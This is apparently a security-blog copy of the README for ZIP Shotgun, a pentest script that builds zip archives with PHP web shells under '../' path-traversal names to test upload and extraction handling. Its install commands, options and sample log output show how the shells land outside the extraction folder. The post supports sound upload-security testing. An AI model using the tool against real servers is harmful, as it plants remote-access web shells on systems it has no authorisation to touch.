Vulnerability Analysis

ZIP Shotgun – Utility Script To Test Zip File Upload Functionality For Vulnerabilities

December 16, 2018
8 Min Read
ZIP Shotgun - Utility Script To Test Zip File Upload Functionality (And Possible Extraction Of Zip Files) For Vulnerabilities

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Utility script to test zip file upload functionality (and possible extraction of zip files) for vulnerabilities. Idea for this script comes from this post on Silent Signal Techblog – Compressed File Upload And Command Execution and from OWASP – Test Upload of Malicious Files
This script will create archive which contains files with “../” in filename. When extracting this could cause files to be extracted to preceding directories. It can allow attacker to extract shells to directories which can be accessed from web browser.
Default webshell is wwwolf’s PHP web shell and all the credit for it goes to WhiteWinterWolf. Source is available HERE

Installation

  1. Install using Python pip
    pip install zip-shotgun --upgrade
  2. Clone git repository and install
    git clone https://github.com/jpiechowka/zip-shotgun.git
    Execute from root directory of the cloned repository (where setup.py file is located)
    pip install . --upgrade

Usage and options

Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Show the version and exit.
-c, --directories-count INTEGER
Count of how many directories to go back
inside the zip file (e.g 3 means that 3
files will be added to the zip: shell.php,
../shell.php and ../../shell.php where
shell.php is the name of the shell you
provided or randomly generated value
[default: 16]
-n, --shell-name TEXT Name of the shell inside the generated zip
file (e.g shell). If not provided it will be
randomly generated. Cannot have whitespaces
-f, --shell-file-path PATH A file that contains code for the shell. If
this option is not provided wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) php shell will be added
instead. If name is provided it will be
added to the zip with the provided name or
if not provided the name will be randomly
generated.
--compress Enable compression. If this flag is set
archive will be compressed using DEFALTE
algorithm with compression level of 9. By
default there is no compression applied.
-h, --help Show this message and exit.

Examples

    1. Using all default options

zip-shotgun archive.zip
Part of the script output

12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
  • Using default options and enabling compression for archive file
    zip-shotgun --compress archive.zip
    Part of the script output

    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
  • Using default options but changing the number of directories to go back in the archive to 3
    zip-shotgun --directories-count 3 archive.zip
    zip-shotgun -c 3 archive.zip
    The script will write 3 files in total to the archive
    Part of the script output

    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
  • Using default options but providing shell name inside archive and enabling compression
    Shell name cannot have whitespaces
    zip-shotgun --shell-name custom-name --compress archive.zip
    zip-shotgun -n custom-name --compress archive.zip
    Name for shell files inside the archive will be set to the one provided by the user.
    Part of the script output

    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
  • Provide custom shell file but use random name inside archive. Set directories count to 3
    zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
    zip-shotgun -c 3 -f ./custom-shell.php archive.zip
    Shell code will be extracted from user provided file. Names inside the archive will be randomly generated.
    Part of the script output

    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | File containing shell code was provided: REDACTEDzip-shotguncustom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening provided file with shell code: REDACTEDzip-shotguncustom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
  • Provide custom shell file and set shell name to save inside archive. Set directories count to 3 and use compression
    zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
    zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
    Shell code will be extracted from user provided file. Names inside the archive will be set to user provided name.
    Part of the script output

    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening output zip file: REDACTEDzip-shotgunarchive.zip
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | File containing shell code was provided: REDACTEDzip-shotguncustom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening provided file with shell code: REDACTEDzip-shotguncustom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL

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